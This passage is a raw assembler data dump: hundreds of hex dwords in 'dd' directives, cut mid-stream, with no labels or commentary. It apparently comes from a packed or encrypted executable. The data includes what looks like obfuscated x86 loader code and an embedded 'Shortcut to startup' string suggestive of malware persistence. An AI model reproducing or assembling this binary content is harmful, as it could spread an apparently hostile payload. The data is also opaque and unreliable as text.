821518F8h, 747AC333h dd 5B9A741Bh, 258EA2BAh, 5BC38176h, 80000065h, 28681DF2h dd 0F000019h, 285h, 58C88B00h, 8B33FFF9h, 725A995h, 9D895E06h dd 6071175h, 0A29BF681h, 0BD3179ABh, 6070B21h, 4C66EE81h dd 8B5077CDh, 71C59BDh, 0C6815A06h, 5E8FCF64h, 1E5D8D8Bh dd 66560607h, 5684E181h, 8B0F038Fh, 2, 0EB83D8B2h, 48F38A04h dd 1D850Fh, 81660000h, 0E9AEC7F2h, 2Ch, 87E2644Ah, 910CC1A0h dd 658103B6h, 71E0FFA0h, 80273A2Dh, 8AE93DF1h, 55FFFFFFh dd 81234A37h, 0C691BC85h, 3481D0E5h, 0D16F58C1h, 7E8h dd 87116100h, 6FCBE9E9h, 5E9h, 2E08A100h, 8B5E8760h, 715A59Dh dd 16C68106h, 66000068h, 68BD59BBh, 0 dd 2BB1858Bh, 665F0607h, 0D967D081h, 893E0C8Bh, 7296D85h dd 0CDC18106h, 600BA3F5h, 221DBD8Bh, 0CE810607h, 2A8851E6h dd 34C18161h, 0E91EDAB4h, 0Ch, 0E3B8A8BDh, 0D30243FAh dd 50BB6E1Dh, 0B8EDE981h, 8D2925B3h, 6070F59h, 0D38B6651h dd 0F3E048Fh, 88Ch, 9D335300h, 6070BB9h, 3EEF815Bh, 8B3767E8h dd 7213185h, 3AC78106h, 293767E8h, 719A98Dh, 0CCFF8106h dd 0FFFFF98h, 1985h, 0F28B6000h, 0B5573BBBh, 2CE96178h dd 60000000h, 0EDB9244Fh, 397D517Ch, 8C0F85BBh, 9, 6DBD0160h dd 0FC06071Ah, 0FF5AE961h, 5518FFFFh, 5BE0C92Bh, 7101F939h dd 8DF3C99Ch, 726CD9Dh, 39B806h, 85890000h, 607018Dh, 0E8h dd 0D055800h, 89000000h, 39E903h, 0 dd 0Dh dup(77E6h), 0E8FF77E6h, 0Ch, 0A9C94280h, 51C64572h dd 8A60FB07h, 9E96060h, 68000000h, 0C829CEEEh, 857B9010h dd 8D62CCBAh, 56B96110h, 610ADA29h, 43F7815Ah, 813540BFh dd 6E3EC2h, 0F98B6600h, 1B69BBh, 8D0F6000h, 2, 0B70FF18Bh dd 0A8B61C7h, 1880Fh, 81F80000h, 3A9707C1h, 5E957h, 452C0000h dd 8168FE50h, 16B957F1h, 800F2Ch, 81000000h, 8C5E80C1h dd 0EBB86669h, 0F0A89ACh, 0EA81C2B7h, 18139BCEh, 9BBA7FBEh dd 0CAC28121h, 6618139Bh, 0DEC8E781h, 0AF850F4Bh, 66FFFFFFh dd 6CEBF18Bh, 726F6853h, 74756374h, 206F7420h, 72617473h dd 707574h, 14h dup(0) dd 3716DC22h, 1, 0F8DE9h, 43176800h, 0B8E9060Ch, 68FFFC02h dd 60C441Bh, 0FC02AEE9h, 45C668FFh, 0A4E9060Ch, 68FFFC02h dd 60C4611h, 0FC029AE9h, 46AA68FFh, 90E9060Ch, 68FFFC02h dd 60C4753h, 0FC0286E9h, 4BE068FFh, 7CE9060Ch, 68FFFC02h dd 60C4E20h, 0FC0272E9h, 4F2768FFh, 68E9060Ch, 1FFFFC02h dd 0C050E55Fh, 0A2BE0783h, 311A626h, 0E371C646h, 0C5D364E0h dd 0ED696A09h, 118DC848h, 0B236ACACh, 0D74D0F0Dh, 18FC406Eh dd 6C2BFD51h, 0A3623E2Fh, 0BC6A13C7h, 29146A27h, 4383E178h dd 45B828F4h, 932399DBh, 0D0540DCFh, 0E6728566h, 51D768E4h dd 6B3E9CA0h, 1C07B42h, 0C15BD32Bh, 0CBF257D9h, 8155B548h dd 682E23FFh, 22269083h, 6C20459Fh, 225CBE52h, 0B1C453A6h dd 3C58AE77h, 45F77Ah, 0C9550000h, 86372B38h, 0F86A27BCh dd 0C218827Dh, 7D520787h, 0B390FB99h, 8559B144h, 682EDCC7h dd 6AEE58DBh, 6C20A847h, 0CA6A0D8Ah, 19D693A7h, 0DB47BDD3h dd 20287607h, 0EA0D086Ch, 3BEFAF76h, 0C7F67Ah, 0A35A0000h dd 0BC6A13C7h, 29146A27h, 8C084AD6h, 2BA72022h, 5F9712B7h dd 2DE87D8Dh, 9A401CCAh, 0DBEE58DCh, 48EBEF49h, 5EA11C17h dd 0BA0480C2h, 1DA21E58h, 271CA939h, 0F6726C6Ah, 7A91D341h dd 0B27CFF7Fh, 31A9AB44h, 134DA82Bh, 1F491A95h, 45FAC547h dd 0ABAF43B6h, 682E8DB9h, 53D56AD5h, 0DA009A9Eh, 1D91C98h dd 272E7EDDh, 0A139246Eh, 0D85417C5h, 70738D6Eh, 0D49701F4h dd 433EBA39h, 0E15D1EFAh, 5D75AD37h, 1AE4AA81h, 0D18h dd 0AD128ACAh, 0BAC28AFh, 6AD34909h, 0CA73EBEEh, 2C910D4Eh dd 94D7B4A8h, 38B5A718h, 5B19FBBCh, 0FEF858DDh, 11EDBD02h dd 2BFFBCCDh, 0C745C26Ch, 9126A2DDh, 0F24BC183h, 3438C926h dd 0C238B2A6h, 69F3682Eh, 56D2906Fh, 3E880BE8h, 0A527A3BDh dd 9CA75A19h, 8C3115A1h, 416C20B6h, 9C65A3D6h, 0E97A3B65h dd 0D5h, 25A3DD2Bh, 0A95210B5h, 0A9FA7671h, 12E509B5h dd 0F97576D4h, 7279C94Dh, 0C2BC6A27h, 6163F146h, 0D34ECE8Ah dd 903D3A4Fh, 0C2B38EBBh, 97730F3Fh, 27B33A43h, 26D9446Ah dd 0D34FD1AEh, 2EEFC50Fh, 89CFA968h, 532F9013h, 0C951CF89h dd 20986415h, 0E41F1A6Ch, 991936Ch, 0AA1490D3h, 78D436C9h dd 0C78A5955h, 0A6590E25h, 274F6A3Ch, 27ACC16Eh, 8234BD11h dd 0EF5FDD95h, 5B6E910Ch, 0DF4339B9h, 2993723Bh, 96110C6Ah dd 1995D604h, 0BF3BB4A4h, 5CAF5D6Dh, 0F6883681h, 0C14h dd 0A90E86C6h, 17A82CABh, 76CF4D05h, 0D66FEFEAh, 288D094Ah dd 90D3B0ACh, 34B1A314h, 5F1507B8h, 0FAF464D9h, 15E9B97Eh dd 2BF8B8C1h, 0CB49C66Ch, 9126A2DDh, 0F24BC183h, 25A3DD26h dd 4339BB99h, 0C2463DDFh, 710E063Fh, 71EF73EFh, 0CA682EE9h dd 3B26B1A7h, 41B47C00h, 0D733837Eh, 6C20E8A2h, 4EF87C75h dd 0A71793CCh, 81367910h, 19D79A7Dh, 7A3BAFD8h, 1AADh dd 61F55100h, 6C20E458h, 14C03B26h, 877A1h, 0CCACC100h dd 9E705448h, 0C909CB2Eh, 0B2A63438h, 682EE9DCh, 2B299580h dd 8E8A33A9h, 10CA50CCh, 896AD450h, 175CB876h, 0FB0F6CEBh dd 0CD8F5164h, 7072EE57h, 0B8CE4AF4h, 0D80B64ADh, 7AD66E01h dd 0AD337A9Eh, 0D24D0B64h, 64AD8930h, 0F104F70Bh, 0CB8E6567h dd 8500E353h, 0C7BC5E30h, 9A24A022h, 399B5ED9h, 0E975C1BFh dd 48F67673h, 50C250ABh, 0C4E0B5BDh, 508A2A4Dh, 0F4609B17h dd 5BB97EFAh, 2513A319h, 7A03D74Ch, 4F49B52h, 0D83C9E19h dd 0F692227Ah, 0F8922B16h, 4DB1F81Ch, 4CCFF29Ch, 0E87247A9h dd 57851517h, 86649F15h, 95217052h, 99211CF0h, 0AB762185h dd 2D2FC03Eh, 0AC28AFADh, 7C9E6102h, 82EDBA98h, 0F76BD628h dd 14EF6D65h, 91936CDAh, 0C418AD09h, 1F9DDB75h, 5087CCAFh dd 0A929CCDDh, 2E899FE6h, 0A1CA4F84h, 563B9090h, 0DB9547DBh dd 5E1FFD5Dh, 508458E6h, 2A86AA29h, 9669E457h, 1D5FBD51h dd 0C65417A7h, 86AA6B12h, 0D72A152Ah, 438D0B45h, 0C1EF9695h dd 69DAA46Ah, 1B00000Ah, 0FC5CE15Bh, 5EBA0387h, 3F1DA21Ah dd 9F7DC2BAh, 0F9DF60DCh, 0E9656605h, 0D89C454h, 0AE2AA8A8h dd 0D3490B09h, 1CC05C6Ah, 6C2BF96Dh, 0A3963213h, 356A38B9h dd 66BF33A9h, 930DF073h, 55895BD1h, 6814EE9h, 0A1E8658h dd 90CC0000h, 32B1A314h, 571301B6h, 0F1F060D5h, 1750C075h dd 0BAB2229Bh, 9D229ED9h, 0F1463EBFh, 5EE76563h, 0B30480C2h dd 0A2CB0F13h, 0DC6C2BFAh, 0A3DDD173h, 0BC97263Ah, 0B8E96A27h dd 87AF3345h, 0AC48CBA2h, 8C3AB531h, 0EC51CD8Eh, 58293104h dd 0B09246D4h, 0DC682E50h, 0F745D961h, 36ADB28Eh, 0B7AB3739h dd 0AF94256Dh, 0C96B3D6h, 935A9FCCh, 6CDA4568h, 9F0305FAh dd 1E9AD903h, 5FA87FDBh, 2ECAA99Fh, 25B530ACh, 863FB537h dd 0B05CD89Ah, 49058C58h, 85B749F1h, 77000009h, 0D838FD77h dd 0BAA61F9Bh, 1BF9BE3Eh, 0FB59DE5Eh, 0DDBB7CF8h, 85014221h dd 29A52030h, 4ACE8494h, 0EF6567F5h, 70E47856h, 6C2BFA49h dd 0DD7AD637h, 0A5203AA3h, 0BCA0C929h, 63DE6A27h, 0FEF456E0h dd 7D7AE07Ah, 5B9DA8F9h, 5B19A707h, 0A2EB6FA0h, 616A2784h dd 0B20E8C90h, 9237E81Fh, 93477692h, 6A27E5EAh, 0CB2EA994h dd 23A2EF4Fh, 0DA40B368h, 3B4931B7h, 6661C54Ch, 76946FEAh dd 0C96EEAE4h, 2393094Bh, 49FCA621h, 0AD443353h, 11ED6DE8h dd 2B19BCCDh, 0AC57C26Ch, 66E2E062h, 5B255CBAh, 0A739E187h dd 8DCh, 0E156CE8Eh, 4FF07473h, 0AE1795CDh, 0EB737B2h dd 60D55112h, 0D89BF874h, 7C79DB5Ch, 0A7DD3F80h, 0C2BC9C21h dd 4DD1F146h, 2BFBE089h, 13B19E6Ch, 9925A3DDh, 0F34339BBh dd 548A2DA4h, 23199E1Ah, 74345BE2h, 0DFEE72CEh, 0A16A27B0h dd 9C1F95D7h, 72850140h, 56FF5h, 0B9A35700h, 2EA4403Ch dd 0A45F1CAAh, 49D1532Ch, 23FB3595h, 6CEE6968h, 78913490h dd 7D5AFE71h, 0EDC3EA08h, 42BD6C2Bh, 25A3DDBFh, 0F862FE90h dd 0D6E703FFh, 0A86C2BEDh, 28DA4AADh, 228C0845h, 9C78C641h dd 58871B4h, 4CFA7671h, 0A5118DCEh, 7DC2F588h, 9D5B1EF9h dd 0F3949D54h, 4311h, 480FCD00h, 0C9EF29CCh, 6C67E53Bh dd 0B2E14CDh, 273EA6D7h, 0E25DD86Ah, 5667FB67h, 286A273Eh dd 0B485812Dh, 794A8F98h, 0D41DDB9Eh, 0FC949C3Fh, 7FA2F9A9h dd 0CF773BBh, 783h, 77A14100h, 0FF000002h, 6A13C7A3h, 146A27BCh dd 0A15ED629h, 0E7DF039Fh, 8B6823FBh, 94DA3E88h, 2A6C2BFDh dd 8D62A8CBh, 0DFBB178Bh, 2BFD723Bh, 40110C6Ch, 13940DCCh dd 0AE34CF24h, 6E2F8C56h, 6E83E93Ah, 69F8B981h, 88CB49EEh dd 71BECF13h, 4AC06A27h, 2771E796h, 239E996Ah, 0BB3416A0h dd 718D3C20h, 1FF36A27h, 2771B2FBh, 0D651CC6Ah, 0BF46EB5Bh dd 1D99DAFCh, 413DB898h, 0DE5617F5h, 77F7F250h, 890F45C7h dd 4A6DF03Dh, 0F3E56123h, 1E994195h, 0B1670AEDh, 1307B834h dd 6A279960h, 0A4B825A3h, 6A279915h, 0C86DE86Bh, 24920E48h dd 333BC966h, 0FB7372EEh, 1C98D547h, 0EB8375FFh, 0D04C0FEEh dd 0BC0A8566h, 129C185Eh, 0BACCF84h, 4706D4B6h, 0AAD34CFh dd 345C05CCh, 0AD2F2D74h, 8E48737h, 0BA2BCE4Ah, 3E8h, 0DD38BAA0h dd 0D69521A7h, 0DD74A05Bh, 73B1F0A2h, 33357F23h, 0E07A06B0h dd 2886B2E0h, 0CB3E67F2h, 0B643B548h, 0F5413DB8h dd 6AD45017h, 0A0175AB9h, 9CFE279h, 0EF6DD24Eh, 31AB70ECh dd 0FA238B4h, 0B3529F08h, 660029DBh, 30557286h, 35E942B5h dd 7E799FD2h, 94751882h, 6CE8E5A1h, 0D33A9F27h, 0C336B231h dd 335E730Fh, 4A8CB187h, 7D7FD91Ch, 80C11B87h, 0C639BA04h dd 0A17A0C08h, 31C46A27h, 0AB83267Eh, 40438907h, 0F57882D7h dd 830ECFE4h, 79E29C78h, 27DED4E5h, 2CAFAA6Ah, 59E81BAEh dd 6C613E4Ah, 8EC45489h, 1658BC0Ah, 0C36A27E8h, 5BB90587h dd 982E981Ch, 0DB0FB0C3h, 29AF7104h, 0D080AB3h, 0AB6A2794h dd 34B78F51h, 0FEF3D674h, 0DD3AFFFFh, 809025A3h, 18FC4AC6h dd 6A27BC56h, 0B46A0DE8h, 1BF9BE3Ah, 1AF80A58h, 766AB864h dd 12B74BFBh, 0A275D6CFh, 62DA9F57h, 789417D4h, 9B7F827Eh dd 9A7A20A9h, 10CEE176h, 44A835D1h, 7D94h, 0B9A37400h dd 0F2BB5F3Ch, 8C6A27BCh, 0CBA81691h, 0BDBFB030h, 0FB3939DDh dd 8B556823h, 63D34ECEh, 80047D9Fh, 1D5BB536h, 0A94C2F9Fh dd 2BFD8329h, 1DB04C6Ch, 0AC2B932Dh, 0E67D8012h, 5CC15D3h dd 31997A41h, 7B000000h, 413FB9A3h, 178376F5h, 6A27C1D6h dd 0B6B2FB1Fh, 51CC6A27h, 0FDA646D6h, 0A3D4FFFFh, 0BC6A13C7h dd 29146A27h, 0A4128ACFh, 7DC3CC7h, 42000000h, 257A1h dd 0A3DDFF00h, 0B4ADCEF3h, 0EE69A8B5h, 6580C240h, 0EE6CEF6Dh dd 45F1756Ch, 8D094AA6h, 0BEB3B56Ah, 904420BAh, 6A27C7E9h dd 0B951A497h, 0C2BA3FDDh, 960CF774h, 682E90E0h, 5108779Ch dd 4F71E3F2h, 0D48C4ECCh, 8C3AB631h, 21C26CEFh, 813410DEh dd 4C6C20E8h, 7900D4B0h, 0D06C20E8h, 20E87D0Ch, 5D10036Ch dd 0F5B81FE2h, 3BB3FA3Bh, 394B7Ah, 0C9890000h, 86372B38h dd 0F86A27BCh, 0E9E3547Dh, 0F6782269h, 7973E77Bh, 65682E97h dd 508460FAh, 6C20E329h, 0D511E457h, 20E34C71h, 6316816Ch dd 3BBB5CA5h, 0BD297Ah, 0DDEB0000h, 0C59925A3h, 6DD95317h dd 0EEE96B8Eh, 6BDB5113h, 0BFCE1288h, 0C16A27BCh, 0E96BDB56h dd 3F70A7EFh, 156465FAh, 976D009Ah, 0B72C8D0Eh, 11ED19DCh dd 0BE088CCBh, 1C5E3A3Dh, 8B0682C1h, 3D402032h, 0CB856A27h dd 837CE84Dh, 0DD69E5E0h, 0DB3FA31Eh, 6820E5DBh, 0B5F092B7h dd 60D2AA6Ch, 0E4E775E5h, 0A45D768h, 3FBE428Eh, 8B338758h dd 44FF5h, 0CB413D00h, 65E1E672h, 840040D0h, 24A02133h dd 4AC68193h, 86BE3F5h, 0EE6AD34Fh, 52CE77EFh, 2D2F9014h dd 228035B3h, 0F7733ADEh, 0D6C2Bh, 26A2DD80h, 4BC18391h dd 0CD4B05D7h, 7419F52Ah, 316161FBh, 56D29046h, 0DDF420DBh dd 0BB9925A3h, 3DDF4339h, 0A027C147h, 26D99A24h, 868A67E1h dd 20A2B814h, 53C151A4h, 3F682ECCh, 0E596723Ch, 836C20A3h dd 0D309A9CCh, 0D3D4C096h, 7C3A8E8Ch, 0F9F67E81h, 0CB0FEB77h dd 6C20A9A2h, 7C9E61DCh, 29D93A98h, 0CF8A566Eh, 0FD6BCC4Fh dd 0F79A0004h, 73087342h, 3EDC272Ch, 235D42DAh, 0BF231E68h dd 5A8E3F23h, 5F06C2Bh, 86C218F2h, 0EA5B106h, 0CD6C2B5Ah dd 0D0AC1197h, 37h, 0BC96DB4Eh, 9D556A27h, 0BC342499h dd 0E38A8E38h, 806A27BCh, 7276A8CBh, 91D745FAh, 19AFAB1Bh dd 0CC6A27BCh, 0A7A51195h, 321FAF25h, 63B708ABh, 5117C9ECh dd 0DDB662DBh, 0B79521A7h, 0BC0BBB31h, 28329225h, 4DCF32AEh dd 522C9117h, 0BC5B62F6h, 3A256A27h, 0C8B453C7h, 0BC1E6A27h dd 0AF8D3C20h, 0F36A27h, 72B97BFDh, 92887434h, 48FFFFFFh dd 0F44A3DDh, 22BE088Bh, 0A354B98Fh, 0F00B1747h, 49EE6A64h dd 1B8C10B5h, 40A5CB4h, 257B7DBh, 0FF027288h, 66F47809h dd 2EBECCF2h, 0F945B068h, 20D8681Dh, 7F32A56Ch, 3FBD3527h dd 9709EC8Fh, 7A3BC44Eh, 0BE6E07Ah, 350D349h, 3595CACFh dd 9512E5B3h, 3Bh, 3438C977h, 6716CAA6h, 0CE6A27BCh, 27BC630Ah dd 6F221D6Ah, 6DF109ECh, 682EC26Fh, 3CAD01A4h, 46F8D28Bh dd 218D88B3h, 206D9025h, 0B7FA5D6Ch, 3C2CB879h, 0C48D7Ah dd 0DD4F0000h, 0A7B525A3h, 5F1CAA22h, 0F640C4BDh, 0C6448275h dd 0BBC21685h, 6C6A27BCh, 0BCBFF276h, 0D59775C1h, 736DEF5Fh dd 0F3F765F5h, 0D5418679h, 6A27B77Dh, 0FD423EB8h, 57E75D1Fh dd 8E0C10E1h, 2EDF484Ah, 84392468h, 0FA7670EAh, 0DC54AF4Ch dd 0DDB92123h, 74C2BA3Fh, 0A8960CF7h, 0C46E274Dh, 581BC159h dd 0FEF95BDCh, 1254D602h, 9B1815Dh, 20F77h, 0B81FD00h dd 0A521A6B2h, 0C4400010h, 64E0E173h, 8A0641D3h, 0C8ABA335h dd 0AEAA138Fh, 120EB72Fh, 0ED6FD054h, 0E2C075F3h, 0F2B3FA1Eh dd 40CD6C2Bh, 26A2DDC0h, 0DFA8FD91h, 71F5F2E1h, 0D37D26C5h dd 38A45FF1h, 0FC58C2BEh, 27705118h, 0C92C2F6Ah, 38C94414h dd 38B2A634h, 24682EC2h, 26A11D58h, 0F468C498h, 6C20B6C5h dd 3E22B8BBh, 6C20B68Fh, 67F306F1h, 6C20B652h, 0BB75389Fh dd 7A3B657Ah, 0C3CBh, 0A3DD0900h, 38BB9925h, 0EC6EF2BCh dd 168C77F3h, 6A27B7BEh, 4B5A905h, 7A6A27B8h, 0DE9804FFh dd 7D7FDD62h, 6AB3787h, 4255BB0Fh, 6DDB1EE4h, 0D60A9094h dd 682E06CCh, 69EFE577h, 0FB0A396h, 76E46819h, 279731E2h dd 0D4E8C6Eh, 0C75B6E91h, 29F06A13h, 0AE29146Ah, 0C88A502Ch dd 0B935B04Ch, 98B6E0Dh, 916DD24Eh, 0A0B338FCh, 0C824B966h dd 0C0A3138Fh, 0A420A33Dh, 5D19B878h, 87590181h, 108h dd 0BD02FAFAh, 1B9C185Fh, 7AC3B939h, 0DA63DB9Eh, 3C817D7Eh dd 84C7A458h, 28A5B708h, 4B090BACh, 0EEE868CDh, 61FDCD72h dd 2BF3CCFDh, 0F755B26Ch, 9126A2DDh, 2B9DC183h, 554B5160h dd 791B9C1Fh, 0BE3AB9A3h, 0C8873F0h, 0EA68D652h, 0DEEF73E8h dd 0A06A27BCh, 0E9853AB5h, 4CFA7273h, 23DC54AFh, 3B8B0740h dd 0B95D3DB8h, 6823FBBDh, 1B9FD406h, 235C8ABh, 2BA5A717h dd 0B3982DADh, 861AB12Ch, 0BFC9CB58h, 96A9C4EAh, 0BDD0AA63h dd 329044h, 0C557AA26h, 647DDB8Bh, 1184DE7h, 0C9DC3886h dd 313D1D53h, 124007D5h, 0FD16956Ah, 0CF32ADA5h, 0F1F32548h dd 4C28C27Bh, 3135E188h, 599C9F5Dh, 0B707FDFFh, 0FAF91C55h dd 56E05C1Fh, 0CFAC1A95h, 44D4E24Ch, 0BC35D096h, 72ED8E38h dd 45DC27C4h, 42FF9232h, 75FB383Ch, 8EC854AFh, 2DAFAD12h dd 117907B7h, 99000000h, 39850743h, 84019C6Ch, 0F570EFBAh dd 0D68AD602h, 9B2BA1DDh, 0F5413FB9h, 6BDB5117h, 0C670ECE9h dd 3F8F0B44h, 9826A2DDh, 0FBF3FBAh, 67D7550Dh, 0DC6AEEE5h dd 0E2895268h, 4C281h, 0B9510000h, 4, 8759CA29h, 535C2414h dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 0E7895724h dd 4C781h, 0EF810000h, 4, 5C243C87h, 55240489h, 746D9968h dd 242C8B67h, 8104C483h, 0F05F9CE5h, 2AC5813Ch, 89E19BF4h dd 8B545DE9h, 0C4832404h, 0CA895204h, 8B085089h, 0C4832414h dd 24048B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 56240C8Bh dd 0C681E689h, 4, 4C681h, 34870000h, 38E95C24h, 21FFFBF3h dd 54B838AFh, 3060C50h, 7BE0FFC5h, 292DB9EEh, 9303B2E3h dd 7A0A1A87h, 0A42C4368h, 757042C3h, 0B3645D0h, 7D320173h dd 0BB0D1F07h, 990EF62Bh, 6182813h, 670ECE62h, 0F07251ECh dd 0EE2A5FFEh, 26406CE7h, 0A68DC65h, 541570E1h, 8D46F443h dd 0C52128Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8B9DFBC2h, 418D89DFh, 6A06071Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0F451C350h, 184982DBh, 8A4273CCh, 60585C7h dd 712C0607h, 0BD890000h, 60718FDh, 6985C7h, 607h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0B95DA5C3h, 2E624A14h, 9D89573Ah, 6070C05h, 41B5FF58h dd 8B060730h, 7003195h, 0E195FF06h, 6A060701h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0EDDCC353h, 0BBF38041h, 95FF006Ah, 6073201h, 5AEBC08Bh dd 0DB02D37h, 7EF37237h, 1B705CDBh, 2AA8BF40h, 0F37F800Ah dd 74061455h, 0C4740D47h, 0C8547E02h, 0C0371B55h, 5F0C470Dh dd 378BC87Ah, 0A74EC530h, 7F2BD3D0h, 320F66B4h, 8764B514h dd 0C8FB6F02h, 2E528D22h, 5B9946EAh, 0C91B1700h, 0F82430F0h dd 0D692D4B6h, 65CF097Ah, 8D8D01EEh, 60C5382h, 1B418D89h dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4E42CFC3h, 52BF6A26h, 85C7F278h, 6070605h dd 67E0h, 870Fh, 0E9600000h, 0Bh, 3CB33F6Fh, 10FF90D4h dd 0E8399CC1h, 13h, 224AD4EEh, 504AB207h, 3343A1CDh, 1242AB92h dd 0E8DE12B5h, 0Ah, 0EAABBA23h, 0F26F6351h, 595BB78Ah dd 6985C761h, 60700h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 6EB6C353h, 0C5958B5Eh dd 50060729h, 0E85AFC8Ah, 6, 0E075D33Ah, 9D2B6357h, 6071595h dd 19B5FF5Eh, 6A06071Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0CF91C357h, 4124D77Dh dd 0E9BDFE9Fh, 1245BD89h, 95FF0607h, 60701E1h, 19ADBD89h dd 5E80607h, 0E7000000h, 1FFC527Bh, 5FC6BF0Fh, 95FF006Ah dd 6073201h, 9EBC08Bh, 20717DD9h, 583DD979h, 0B0E9FBh dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 701A985h dd 36840F06h, 3B000000h, 716BD85h, 2A840F06h, 3B000000h dd 7158985h, 1E840F06h, 3B000000h, 72F7185h, 12840F06h dd 83000000h, 72AFDBDh, 840F0106h, 5, 5FE9h, 3D08B00h dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh dd 0DE9FFFFh, 8D000000h, 74DB49Dh, 5B806h, 0E3FF0000h dd 0D00BC361h, 6A2B04EBh, 0BCE926EEh, 0F0000005h, 0AEA3CB9Dh dd 61FC044Ah, 0D4095107h, 8C41A9FFh, 7C9DE5B3h, 0D084E102h dd 2A7E5588h, 65330FC2h, 0BCE2C01Dh, 0DE59FB54h, 3019F58h dd 2C128818h, 6E20475Dh, 4F35D5FEh, 181E44A2h, 0A8CE5CB9h dd 460C6E96h, 0A8AA94D0h, 0C983CB7Eh, 9E4E1070h, 0D5BB9B76h dd 0CA90F663h, 0A1F7CD4Ch, 288C06B7h, 0C22A7056h, 1D65330Fh dd 46B0E6C0h, 3C97AE9Ch, 239B106Ah, 0D5BB9E63h, 0B73D0563h dd 0F8AC8960h, 8B96367Eh, 7C91F9AFh, 45C63066h, 50D34F4h dd 1AFDF703h, 0AFDB6A3Dh, 8AC4h, 0C0DA2000h, 0FFADB596h dd 0A27CE6A6h, 0FE181E44h, 8F5F0163h, 0DCB08ACh, 8F21FB05h dd 0DCB0AACh, 0AA7A4A05h, 84C346AEh, 0BAFDA6Bh, 6, 6D3310E9h dd 43E5C7BDh, 0DCB4EF0h, 66260E05h, 61D7B99Bh, 48CE90F0h dd 0B2A4E8C9h, 0FAD8310Bh, 383E6241h, 92D2448Ch, 4C1E96F2h dd 82682274h, 4DF7026h, 2DF9FD6Eh, 36F70DBCh, 9C365E0Eh dd 48A0B1AEh, 0E36D8606h, 4FA074C9h, 0CD50F025h, 0CD47AFF5h dd 0D543156Ch, 0A20BF191h, 0B0E6C641h, 0DDA3C846h, 0A97BC60Ah dd 0A23F3961h, 0BD261046h, 223FCF25h, 1B1D43A3h, 0C67A9ADh dd 539B31C4h, 0E349C32Bh, 3A1A0AA0h, 0B4BAEA6Ch, 0DB8B19C4h dd 3C3A6046h, 0E1C0435Dh, 556CD22Dh, 42C050Dh, 0E22A5ADCh dd 0FFE9C228h, 139C2C80h, 864F573h, 1D79D85Eh, 5FA3C137h dd 0B0945055h, 0C37ED53Ch, 0A225AFDAh, 23000000h, 0E4C641A2h dd 118076BEh, 46F76137h, 0B596684Ch, 694A87EFh, 0A988613Bh dd 460C6AE7h, 72F494D0h, 5CDA8EE7h, 9D200E94h, 114900BEh dd 0C62E2AFAh, 0DA771443h, 8CBBAFh, 80990000h, 0AA50F0A6h dd 791341A2h, 5BDD83E0h, 1CFD7B2Bh, 96BC602h, 0CB62D447h dd 0C722050Dh, 0ABABCECh, 27714FC2h, 974D7531h, 0EB1A15A9h dd 0F454DA8Eh, 4DAB7BD7h, 0C631F5CCh, 50D5770h, 5ED80030h dd 0B437F1D0h, 56CB0C84h, 52292F75h, 284F7478h, 0F947DAD2h dd 0DDBA35F3h, 0FEAA8798h, 44044C78h, 0A0C89CF9h, 1046A2CAh dd 6874F47Ah, 0CBDE883Dh, 2D2B7156h, 0CC4FA979h, 50D296Fh dd 0EF727A98h, 0AFDB4DA8h, 16Fh, 42A2F500h, 5FB72214h dd 19610F09h, 0CB9DFB93h, 2A4B99A3h, 0F02A8770h, 5EAC0F34h dd 167A8787h, 0D58959A8h, 88EE6BEDh, 4EE0BAC2h, 0A8749EDh dd 69390903h, 6EE8BE94h, 0A874BEDh, 36BE9403h, 8BDE4EA4h dd 0E23E0EB3h, 3D03D901h, 5ED96308h, 30A63D8h, 1AA6A898h dd 7D9535D8h, 6DC82E0h, 9C9ACE2Bh, 0E43E38E8h, 0F74FA842h dd 0B7030A7Fh, 7F2A8C8Fh, 5A6A030Ah, 95FB78Ah, 0E6CE940Fh dd 0C89EFE53h, 672D0518h, 1FCEB51Fh, 5E55B5E2h, 93000001h dd 6C267F95h, 6A7264CAh, 49EFD717h, 72322468h, 0D4999A4Ah dd 340F3419h, 0F1A7909Eh, 0B4208F7Eh, 0A4CFF47h, 4F77BF03h dd 0F16A48C9h, 1B4BCD93h, 0C42039D3h, 0DC35A492h, 48804088h dd 61D7BD95h, 16CC92F0h, 6BA4C628h, 4C4C56Fh, 0D5BB722h dd 0E6AC8E0Bh, 0FCD93470h, 0DA20AEA8h, 8ED04F63h, 0F0C4DE6Fh dd 0AA0250CBh, 1879F2D0h, 1EE40C34h, 0B5E21739h, 4CC0h dd 7C950400h, 0B78C6D27h, 6F3F77E1h, 0CB246AD5h, 0FE2050Dh dd 3AA66632h, 2B930C0Ah, 5D050DCBh, 0F9E8AF05h, 0ED4EE0BAh dd 50DCB49h, 0D3693909h, 0DCB2E60h, 9EE6CE05h, 0A8BFh dd 2804E500h, 0CBAB13ECh, 0DBEB050Dh, 21E1A593h, 267F95BBh dd 963E936Ch, 969E0F34h, 4DD131A0h, 1E7AE194h, 6890C648h dd 8770C631h, 30030Ah, 954890D8h, 0EE61D7BDh, 30A844Fh dd 69EFB592h, 5CDA8CE8h, 0A2B5E3FDh, 385F6448h, 0D230CA22h dd 88DE648Ch, 0C59F31EBh, 0A87C47Ah, 0ED51A203h, 0AD030A87h dd 9D9E985h, 36FB692Ah, 0DFB1BF09h, 8151A6BCh, 10B22EFEh dd 6149F27h, 0AFD7DF05h, 6AD56FA9h, 50614D4h, 3BB79DF5h dd 0E0C65B0Bh, 0CA2EBCBAh, 8C293FE2h, 682C65D6h, 67FA0F3Ah dd 97DF590Fh, 0D33B0BF7h, 0F37F9559h, 1155C395h, 83C033E9h dd 